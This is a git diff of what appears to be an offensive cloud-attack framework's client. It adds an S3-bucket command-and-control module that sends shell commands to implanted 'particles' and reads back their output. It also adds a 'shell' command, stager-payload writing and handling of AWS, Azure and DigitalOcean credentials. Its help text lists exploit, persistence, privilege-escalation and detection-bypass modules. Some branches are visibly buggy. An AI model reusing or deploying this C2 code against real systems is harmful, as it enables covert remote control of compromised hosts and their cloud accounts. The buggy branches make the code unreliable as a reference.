f".stagers/{AWSregion}_{module_output[AWSregion]['OutPutFile']}", + #PrintAWSModule(module_output) + except FileNotFoundError: + print( + colored( + "Please, only put the file name that will be stored on directory '.stagers'", + "red") + ) + #else: + # PrintAWSModule(module_output) + + #else: + # PrintAWSModule(module_output) + + + #else: + PrintAWSModule(module_output) + + #PrintAWSModule(module_output) + + + else: + module_output = RunModule(module_char, module_options, cred_prof, useragent, workspace, web_proxies, + jwt_token, apihost, username, None) + + if module_char.split("/")[0] == "stager" or module_char.split("/")[0] == "listeners": + if not "error" in module_output: + if not os.path.exists(".stagers"): + os.makedirs(".stagers") + + try: + with open(f".stagers/{module_output['ModuleName']['OutPutFile']}", 'w') as stagerfile: + stagerfile.write(base64.b64decode(module_output["ModuleName"]['Code']).decode()) + stagerfile.close() + del (module_output["ModuleName"]['Code']) + module_output["ModuleName"]['OutPutFile'] = f".stagers/{module_output['ModuleName']['OutPutFile']}" + PrintAWSModule(module_output) + except FileNotFoundError: + print( + colored( + "Please, only put the file name that will be stored on directory '.stagers'", + "red") + ) + else: PrintAWSModule(module_output) + else: - module_output = RunModule(module_char, module_options, cred_prof, useragent, workspace, web_proxies, - jwt_token, apihost, username, AWSregion) - from core.RunAndPrintModule import PrintModule PrintAWSModule(module_output) else: - from core.RunAndPrintModule import RunModule - from core.RunAndPrintModule import PrintModule - module_output = RunModule(module_char, module_options, cred_prof, useragent, workspace, web_proxies, jwt_token, apihost, username, "") - - PrintModule(module_output) + PrintAWSModule(module_output) elif command.split(" ")[0] == 'get_aws_iam_user': if len(command.split(" ")) < 2: @@ -1475,6 +1790,51 @@ def main(workspace, particle, module_char): pipepager(output, cmd='less -FR') output = """"" + elif command.split(" ")[0] == 'shell': + if particle == "": + print(colored("[*] Please select a particle using: 'use particle '", "red")) + else: + shellchekc = 0 + for particlename in particles: + if particlename['particle_key_name'] == particle: + for listenerlist in listeners: + if listenerlist['listener_bucket_name'] == particlename['particle_listener_name']: + listenerargs = { + "service_name": "s3", + "region_name": listenerlist['listener_region'], + "aws_access_key_id": listenerlist['listener_access_key'], + "aws_secret_access_key": listenerlist['listener_secret_key'] + } + try: + s3profile = boto3.client( + **listenerargs + ) + getsendcommand( + bucket_name=listenerlist['listener_bucket_name'], + particle_name=particle, + command_key=listenerlist['listener_command_file'], + output_key=listenerlist['listener_output_file'], + command=command.replace("shell ", "").strip(), + s3Client=s3profile, + kmskeyid=listenerlist['listener_kms_key_arn'], + particles=particles + ) + del listenerlist + del listenerargs + shellchekc = 1 + except: + shellchekc = 1 + print( + colored( + f"[*] Error connecting to client: {str(sys.exc_info())}", "red" + ) + ) + if shellchekc == 0: + print(colored("[*] Particle does not exist", "red")) + + + + elif command.split(" ")[0] == 'remove': if command.split(" ")[1] == 'user': if len(command.split(" ")) < 3: @@ -1495,13 +1855,75 @@ def main(workspace, particle, module_char): else: print(colored("[*] {}".format(user_created['error']), "red")) + elif command.split(" ")[1] == 'credentials': + if len(command.split(" ")) < 3: + print(colored("[*] Usage: 'remove credentials '", "red")) + + else: + for credential in all_sessions: + if credential['profile'] == command.split(" ")[2]: + if credential['provider'] == "AWS": + cred_json = { + "aws_profile_name": command.split(" ")[2] + } + + cred_deleted = json.loads(requests.delete("{}/api/latest/awscredentials".format(apihost), + json=cred_json, + headers={"Authorization": "Bearer {}".format(jwt_token)} + ).text) + + if not "error" in cred_deleted: + print(colored("[*] Credential '{}' Deleted.".format(command.split(" ")[2]), "green")) + del (all_sessions[all_sessions.index(credential)]) + del(comms['use']['credentials'][command.split(" ")[2]]) + del(comms['remove']['credentials'][command.split(" ")[2]]) + else: + print(colored("[*] {}".format(cred_deleted['error']), "red")) + + if credential['provider'] == "AZURE": + cred_json = { + "azurecredentials_name": command.split(" ")[2] + } + + cred_deleted = json.loads(requests.delete("{}/api/latest/azurecredentials".format(apihost), + json=cred_json, + headers={"Authorization": "Bearer {}".format(jwt_token)} + ).text) + + if not "error" in cred_deleted: + print(colored("[*] Credential '{}' Deleted.".format(command.split(" ")[2]), "green")) + del (all_sessions[all_sessions.index(credential)]) + del (comms['use']['credentials'][command.split(" ")[2]]) + del (comms['remove']['credentials'][command.split(" ")[2]]) + else: + print(colored("[*] {}".format(cred_deleted['error']), "red")) + + if credential['provider'] == "DIGITALOCEAN": + cred_json = { + "digitalocean_profile_name": command.split(" ")[2] + } + + cred_deleted = json.loads(requests.delete("{}/api/latest/digitaloceancredentials".format(apihost), + json=cred_json, + headers={"Authorization": "Bearer {}".format(jwt_token)} + ).text) + + if not "error" in cred_deleted: + print(colored("[*] Credential '{}' Deleted.".format(command.split(" ")[2]), "green")) + del (all_sessions[all_sessions.index(credential)]) + del (comms['use']['credentials'][command.split(" ")[2]]) + del (comms['remove']['credentials'][command.split(" ")[2]]) + else: + print(colored("[*] {}".format(cred_deleted['error']), "red")) + + elif command.split(" ")[0] == 'create': if command.split(" ")[1] == 'user': if len(command.split(" ")) < 3: print(colored("[*] Usage: 'create user '", "red")) else: - user_passwod = getpass.getpass("Password: ").replace("\n", "").strip() + user_passwod = getpass("Password: ").replace("\n", "").strip() if user_passwod == "": print(colored("[*] Password can't be empty", "red")) @@ -1567,6 +1989,9 @@ def main(workspace, particle, module_char): elif command.split(" ")[2] == 'custom': useragent = input("User-Agent>>> ") print(colored(f"[*] User Agent Set to: {useragent}", "green")) + with open(f"{sys.prefix}/lib/python3.10/site-packages/botocore/.user-agent", "w") as uafile: + uafile.write(useragent) + uafile.close() elif command.split(" ")[1] == 'web-proxy-certificate': if len(command.split(" ")) < 4: @@ -1627,10 +2052,97 @@ def main(workspace, particle, module_char): except: print(f"[*] {colored(str(sys.exc_info()), 'red')}") - elif command.split(" ")[1] == 'digitalocean-credentials': + elif command.split(" ")[1] == 'azure-credentials': + if len(command.split(" ")) < 3: + print(colored("[*] Usage: 'set credentials '", "red")) + else: + yon = input("Are you putting an Access Token? [y/N] ") + if yon == "y" or yon == "Y": + yon = 'N' + access_token = input("Access Token: ") + refresh_token = input("Refresh Token: ") + tenant_id = input("Tenant ID: ") + + cred_json = { + "azure_creds_name": command.split(" ")[2], + "azure_access_token": access_token, + "azure_refresh_token": refresh_token, + "azure_tenant_id": tenant_id + } + + yon = input("Are credential Service Principal Credentials? [y/N] ") + if yon == "y" or yon == "Y": + yon = 'N' + tenant_id = input("Tenant ID: ") + client_id = input("Client ID: ") + yon = input("Are you using Client Secret? [y/N] ") + if yon == "y" or yon == "Y": + client_secret = input("Client Secret: ") + cred_json = { + "azure_creds_name": command.split(" ")[2], + "azure_client_id": client_id, + "azure_client_secret": client_secret, + "azure_tenant_id": tenant_id + + } + else: + client_cert = input("Client Certificate") + cred_json = { + "azure_creds_name": command.split(" ")[2], + "azure_client_id": client_id, + "azure_client_cert": client_cert, + "azure_tenant_id": tenant_id + } + + else: + email = input("User Email: ") + password = input("User Password: ") + tenant_id = input("Tenant ID: ") + + cred_json = { + "azure_creds_name": command.split(" ")[2], + "azure_tenant_id": tenant_id, + "azure_user_principal_name": email, + "azure_password": password + } + + cred_created = json.loads(requests.put("{}/api/latest/azurecredentials".format(apihost), + json=cred_json, + headers={"Authorization": "Bearer {}".format(jwt_token)} + ).text) + + if not "error" in cred_created: + print(colored("[*] Credential '{}' Created.".format(command.split(" ")[2]), "green")) + curr_creds = { + 'provider': "AZURE", + 'profile': "", + 'access_key_id': "", + 'secret_key': "", + 'region': "" + } + curr_creds['provider'] = 'DIGITALOCEAN' + curr_creds['profile'] = set_digitalocean_creds_body["digitalocean_profile_name"] + curr_creds['access_key_id'] = set_digitalocean_creds_body["digitalocean_access_key"] + curr_creds['secret_key'] = set_digitalocean_creds_body["digitalocean_secret_key"] + curr_creds['region'] = set_digitalocean_creds_body["digitalocean_region"] + + print(colored("[*] Credentials set. Use ", "green") + colored("'show credentials' ", + "blue") + colored( + "to check them.", "green")) + + print(colored("[*] Currect credential profile set to ", "green") + colored( + "'{}'.".format(cred_prof), "blue") + colored("Use ", "green") + colored( + "'show current-creds' ", "blue") + colored("to check them.", "green")) + + + else: + print(colored("[*] {}".format(cred_created['error']), "red")) + + del cred_json + elif command.split(" ")[1] == 'do-credentials': set_digitalocean_creds_body = {} if len(command.split(" ")) == 2: - print(colored("[*] The right command is: set aws-credentials ", "red")) + print(colored("[*] The right command is: set do-credentials ", "red")) else: yon = input("Are credential Space S3 Credentials? [y/N] ") print(yon) @@ -1678,6 +2190,13 @@ def main(workspace, particle, module_char): print(colored("[*] {}".format(set_creds['error']), "red")) else: + curr_creds = { + 'provider': "", + 'profile': "", + 'access_key_id': "", + 'secret_key': "", + 'region': "" + } curr_creds['provider'] = 'DIGITALOCEAN' curr_creds['profile'] = set_digitalocean_creds_body["digitalocean_profile_name"] curr_creds['access_key_id'] = set_digitalocean_creds_body["digitalocean_access_key"] @@ -1713,6 +2232,14 @@ def main(workspace, particle, module_char): sess_test['provider'] = 'DIGITALOCEAN' all_sessions.append(sess_test) + curr_creds = { + 'provider': "", + 'profile': "", + 'access_key_id': "", + 'secret_key': "", + 'region': "" + } + curr_creds['provider'] = 'DIGITALOCEAN' curr_creds['profile'] = set_digitalocean_creds_body["digitalocean_profile_name"] curr_creds['digitalocean_token'] = set_digitalocean_creds_body["digitalocean_token"] @@ -1727,14 +2254,20 @@ def main(workspace, particle, module_char): elif command.split(" ")[1] == 'aws-region': if len(command.split(" ")) < 3: print(colored( - "[*] The command is: set aws-region ", "red" + "[*] The command is: set aws-region or set aws-region all", "red" )) else: - if curr_creds['provider'] == "AWS": - curr_creds['region'] = command.split(" ")[2] + regions = [command.split(" ")[2]] + + if command.split(" ")[2] in AWS_REGIONS: + regions = [command.split(" ")[2]] + + elif command.split(" ")[2] == "all": + regions = AWS_REGIONS + else: print(colored( - "[*] The credential is not an AWS One", "red" + "[*] The command is: set aws-region or set aws-region all", "red" )) elif command.split(" ")[1] == 'aws-credentials': @@ -1763,6 +2296,7 @@ def main(workspace, particle, module_char): set_aws_creds_body["aws_session_token"] = sess_token comms['use']['credentials'][command.split(" ")[2]] = None + comms['remove']['credentials'][command.split(" ")[2]] = None if sess_test['profile'] == "" and sess_test['access_key_id'] == "" and sess_test['secret_key'] == "" and sess_test['region'] == "": pass @@ -1787,6 +2321,13 @@ def main(workspace, particle, module_char): print(colored("[*] {}".format(set_creds['error']), "red")) else: + curr_creds = { + 'provider': "", + 'profile': "", + 'access_key_id': "", + 'secret_key': "", + 'region': "" + } curr_creds['profile'] = set_aws_creds_body["aws_profile_name"] curr_creds['access_key_id'] = set_aws_creds_body["aws_access_key"] curr_creds['secret_key'] = set_aws_creds_body["aws_secret_key"] diff --git a/client/commands/aws_s3_c2_client.py b/client/commands/aws_s3_c2_client.py new file mode 100644 index 0000000..3aacc0b --- /dev/null +++ b/client/commands/aws_s3_c2_client.py @@ -0,0 +1,275 @@ +import base64 +import os +import sys +import time + +import boto3 +import requests +from termcolor import colored + +def checkBucket(bucketname): + statuscode = requests.get(f"https://{bucketname}.s3.amazonaws.com").status_code + if statuscode == 200 or statuscode == 403: + return True + return False + +def getparticlelist(profile, bucket_name, particles): + try: + s3Client = boto3.Session(profile_name=profile).client("s3") + bucketObjectsReq = s3Client.list_objects_v2(Bucket=bucket_name) + if 'Contents' in bucketObjectsReq: + bucketObjects = bucketObjectsReq['Contents'] + for key in bucketObjects: + if key['key'][-1] == "/": + if not key['key'][-1] in particles: + particles.append(key['key'][-1]) + except: + print( + colored( + f"[*] Error: {sys.exc_info()[1]}", "red" + ) + ) +def getsendcommand(bucket_name, particle_name, command_key, output_key, command, s3Client, kmskeyid, particles): + testparticle = 0 + try: + #s3Client = boto3.Session(profile_name=profile).client("s3") + bucketObjectsReq = s3Client.list_objects_v2(Bucket=bucket_name) + + if 'Contents' in bucketObjectsReq: + bucketObjects = bucketObjectsReq['Contents'] + objcheck = 0 + for object in bucketObjects: + if object['Key'] == f"{particle_name}/{output_key}": + objcheck = 1 + try: + print(s3Client.get_object( + Bucket=bucket_name, + Key=f"{particle_name}/{output_key}", + # SSEKMSKeyId=kmskeyid, + # ServerSideEncryption ='aws:kms' + )['Body'].read().decode()) + except: + pass + s3Client.delete_object( + Bucket=bucket_name, + Key=f"{particle_name}/{output_key}", + # SSEKMSKeyId=kmskeyid, + # ServerSideEncryption ='aws:kms' + ) + + s3Client.delete_object( + Bucket=bucket_name, + Key=f"{particle_name}/{command_key}", + #SSEKMSKeyId=kmskeyid, + #ServerSideEncryption ='aws:kms' + ) + + with open("/tmp/command", "w") as cf: + cf.write(command) + cf.close() + + with open("/tmp/command", "rb") as f: + s3Client.put_object( + Bucket=bucket_name, + Key=f"{particle_name}/{command_key}", + Body=base64.b64encode(f.read()), + SSEKMSKeyId = kmskeyid, + ServerSideEncryption ='aws:kms', + ContentType="text/plain" + ) + + print( + colored( + f"[*] Uploaded command to bucket", "green" + ) + ) + os.remove("/tmp/command") + + while True: + try: + print(s3Client.get_object( + Bucket=bucket_name, + Key=f"{particle_name}/{output_key}", + # SSEKMSKeyId=kmskeyid, + # ServerSideEncryption ='aws:kms' + )['Body'].read().decode()) + + s3Client.delete_object( + Bucket=bucket_name, + Key=f"{particle_name}/{output_key}", + # SSEKMSKeyId=kmskeyid, + # ServerSideEncryption ='aws:kms' + ) + + s3Client.delete_object( + Bucket=bucket_name, + Key=f"{particle_name}/{command_key}", + # SSEKMSKeyId=kmskeyid, + # ServerSideEncryption ='aws:kms' + ) + break + except: + time.sleep(5) + testparticle += 5 + if testparticle == 30: + deleteparticle(s3Client, particle_name, bucket_name, command_key, output_key, particles) + particle_name = "" + break + pass + + if objcheck == 0: + with open("/tmp/command", "w") as cf: + cf.write(command) + cf.close() + + with open("/tmp/command", "rb") as f: + + s3Client.put_object( + Bucket=bucket_name, + Key=f"{particle_name}/{command_key}", + Body=base64.b64encode(f.read()), + SSEKMSKeyId=kmskeyid, + ServerSideEncryption ='aws:kms', + ContentType="text/plain" + #ContentEncoding="text/plain" + ) + + print( + colored( + f"[*] Uploaded command to bucket", "green" + ) + ) + os.remove("/tmp/command") + while True: + try: + print(s3Client.get_object( + Bucket=bucket_name, + Key=f"{particle_name}/{output_key}", + #SSEKMSKeyId=kmskeyid, + #ServerSideEncryption ='aws:kms' + )['Body'].read().decode()) + + s3Client.delete_object( + Bucket=bucket_name, + Key=f"{particle_name}/{output_key}", + # SSEKMSKeyId=kmskeyid, + # ServerSideEncryption ='aws:kms' + ) + + s3Client.delete_object( + Bucket=bucket_name, + Key=f"{particle_name}/{command_key}", + # SSEKMSKeyId=kmskeyid, + # ServerSideEncryption ='aws:kms' + ) + + break + except: + time.sleep(5) + testparticle += 5 + if testparticle == 30: + deleteparticle(s3Client, particle_name, bucket_name, command_key, output_key, particles) + particle_name = "" + break + pass + + else: + with open("/tmp/command", "w") as cf: + cf.write(command) + cf.close() + + with open("/tmp/command", "rb") as f: + s3Client.put_object( + Bucket=bucket_name, + Key=f"{particle_name}/{command_key}", + Body=base64.b64encode(f.read()), + SSEKMSKeyId=kmskeyid, + ServerSideEncryption ='aws:kms', + ContentType="text/plain" + ) + + print( + colored( + f"[*] Uploaded command to bucket", "green" + ) + ) + os.remove("/tmp/command") + while True: + try: + print(s3Client.get_object( + Bucket=bucket_name, + Key=f"{particle_name}/{output_key}", + # SSEKMSKeyId=kmskeyid, + # ServerSideEncryption ='aws:kms' + )['Body'].read().decode()) + + s3Client.delete_object( + Bucket=bucket_name, + Key=f"{particle_name}/{output_key}", + # SSEKMSKeyId=kmskeyid, + # ServerSideEncryption ='aws:kms' + ) + + s3Client.delete_object( + Bucket=bucket_name, + Key=f"{particle_name}/{command_key}", + # SSEKMSKeyId=kmskeyid, + # ServerSideEncryption ='aws:kms' + ) + + break + except: + time.sleep(5) + testparticle += 5 + if testparticle == 30: + deleteparticle(s3Client, particle_name, bucket_name, command_key, output_key, particles) + particle_name = "" + break + pass + + + except: + print( + colored( + f"[*] Error: {sys.exc_info()[1]}", "red" + ) + ) + +def deleteparticle(s3Client, particle_name, bucket_name, commandfile, outputfile, particles): + print(colored( + "The particle seems down. Deleting the bucket dir", "yellow" + )) + + try: + s3Client.delete_object( + Bucket=bucket_name, + Key=f"{particle_name}/{commandfile}" + ) + except: + pass + try: + s3Client.delete_object( + Bucket=bucket_name, + Key=f"{particle_name}/{outputfile}" + ) + except: + pass + + try: + s3Client.delete_object( + Bucket=bucket_name, + Key=f"{particle_name}/" + ) + except: + pass + + for particlelist in particles: + if particlelist['particle_key_name'] == particle_name: + del (particles[particles.index(particlelist)]) + + print( + colored( + "Particle Deleted", "green" + ) + ) + diff --git a/client/core/RunAndPrintModule.py b/client/core/RunAndPrintModule.py index 3da2bd5..a33ee1e 100644 --- a/client/core/RunAndPrintModule.py +++ b/client/core/RunAndPrintModule.py @@ -1,4 +1,6 @@ import json +import os + import requests from termcolor import colored from pygments import highlight @@ -24,12 +26,38 @@ def RunModule(module_char, module_options, cred_prof, useragent, workspace, web_ #run_module_json = json.loads(run_module_output) +AWS_REGIONS = [ + "af-south-1", + "ap-east-1", + "ap-northeast-1", + "ap-northeast-2", + "ap-northeast-3", + "ap-south-1", + "ap-southeast-1", + "ap-southeast-2", + "ca-central-1", + "eu-central-1", + "eu-north-1", + "eu-south-1", + "eu-west-1", + "eu-west-2", + "eu-west-3", + "me-south-1", + "sa-east-1", + "us-east-1", + "us-east-2", + "us-gov-east-1", + "us-gov-west-1", + "us-west-1", + "us-west-2" + ] def PrintAWSModule(run_module_json): output = "" - - for region, json_data in run_module_json.items(): - if "error" in json_data: + for title, json_data in run_module_json.items(): + if title == "error": + print(colored("[*] {}".format(json_data), "red")) + elif "error" in json_data: print(colored("[*] {}".format(json_data['error']), "red")) elif 'clientError' in json_data: continue @@ -38,12 +66,16 @@ def PrintAWSModule(run_module_json): "------------------------------------------------------------------\n", "yellow", attrs=['bold']) - output += colored( - "Region: {}\n".format(region), - "yellow", attrs=['bold']) - if isinstance(json_data, list): for data in json_data: + if not title in AWS_REGIONS: + output += colored( + f"{title}: {data[title]}\n", + "yellow", attrs=['bold']) + else: + output += colored( + f"Region: {title}\n", + "yellow", attrs=['bold']) output += colored( "------------------------------------------------------------------\n", "yellow", attrs=['bold']) @@ -61,6 +93,14 @@ def PrintAWSModule(run_module_json): "yellow", attrs=['bold']) else: + if not title in AWS_REGIONS: + output += colored( + f"{title}: {json_data[title]}\n", + "yellow", attrs=['bold']) + else: + output += colored( + f"Region: {title}\n", + "yellow", attrs=['bold']) output += colored( "------------------------------------------------------------------\n", "yellow", attrs=['bold']) @@ -77,8 +117,11 @@ def PrintAWSModule(run_module_json): "------------------------------------------------------------------\n", "yellow", attrs=['bold']) - pipepager(output, cmd='less -FR') - output = "" + if len(output.split("\n")) > (os.get_terminal_size().lines * 2): + pipepager(output, cmd='less -FR') + else: + print(output) + output = "" """for title_name, json_data in run_module_json.items(): if isinstance(json_data, list): @@ -142,6 +185,7 @@ def PrintModule(run_module_json): "yellow", attrs=['bold']) else: + output += colored( "------------------------------------------------------------------\n", "yellow", attrs=['bold']) @@ -161,10 +205,9 @@ def PrintModule(run_module_json): output += colored( "------------------------------------------------------------------\n", "yellow", attrs=['bold']) - pipepager(output, cmd='less -FR') - yn = input("Do you want to print the output? [y/N] ") - if yn != "Y" and yn != "y": - continue + + if len(output.split("\n")) > (os.get_terminal_size().lines*2): + pipepager(output, cmd='less -FR') else: print(output) output = "" diff --git a/client/help/help.py b/client/help/help.py index 7dd1d70..51ad1aa 100644 --- a/client/help/help.py +++ b/client/help/help.py @@ -5,18 +5,18 @@ def help(): credential_commands() module_commands() useragent_commands() - workspace_commands() shell_help() + user_help() def specific_help(command): if command == 'user-agent': useragent_commands() elif command == 'module': module_commands() - elif command == 'workspace': - workspace_commands() elif command == 'credentials': credential_commands() + elif command == 'user': + user_help() elif command == 'shell': shell_help() else: @@ -26,11 +26,9 @@ def help_commands(): print (colored(''' Help Command: Description: ------------- ------------''',"green", attrs=['bold'])) - print(colored(''' - help Show help for all the commands + print(colored(''' help Show help for all the commands help credentials Show help for credentials help module Show help for modules - help workspace Show help for credentials help user-agent Show help for credentials help shell Show help for shell connections ''')) @@ -40,47 +38,21 @@ def module_commands(): Module Commands Description --------------- -----------''',"green",attrs=['bold'])) - print(colored(''' - show modules List all the modules - show enum List all Enumeration modules - show exploit List all Exploit modules - show persistence List all Persistence modules - show privesc List all Privilege Escalation modules - show reconnaissance List all Reconnaissance modules - show listener List all Reconnaissance modules - show cleanup List all Enumeration modules - show detection List all Exploit modules - show detectionbypass List all Persistence modules - show lateralmovement List all Privilege Escalation modules - show stager List all Reconnaissance modules - + print(colored(''' show modules List all the modules use module Use a module. options Show options of a module you have selected. run Run a module you have selected. Eg: 'run ' - search Search for a module via pattern. Eg: 'search s3' back Unselect a module set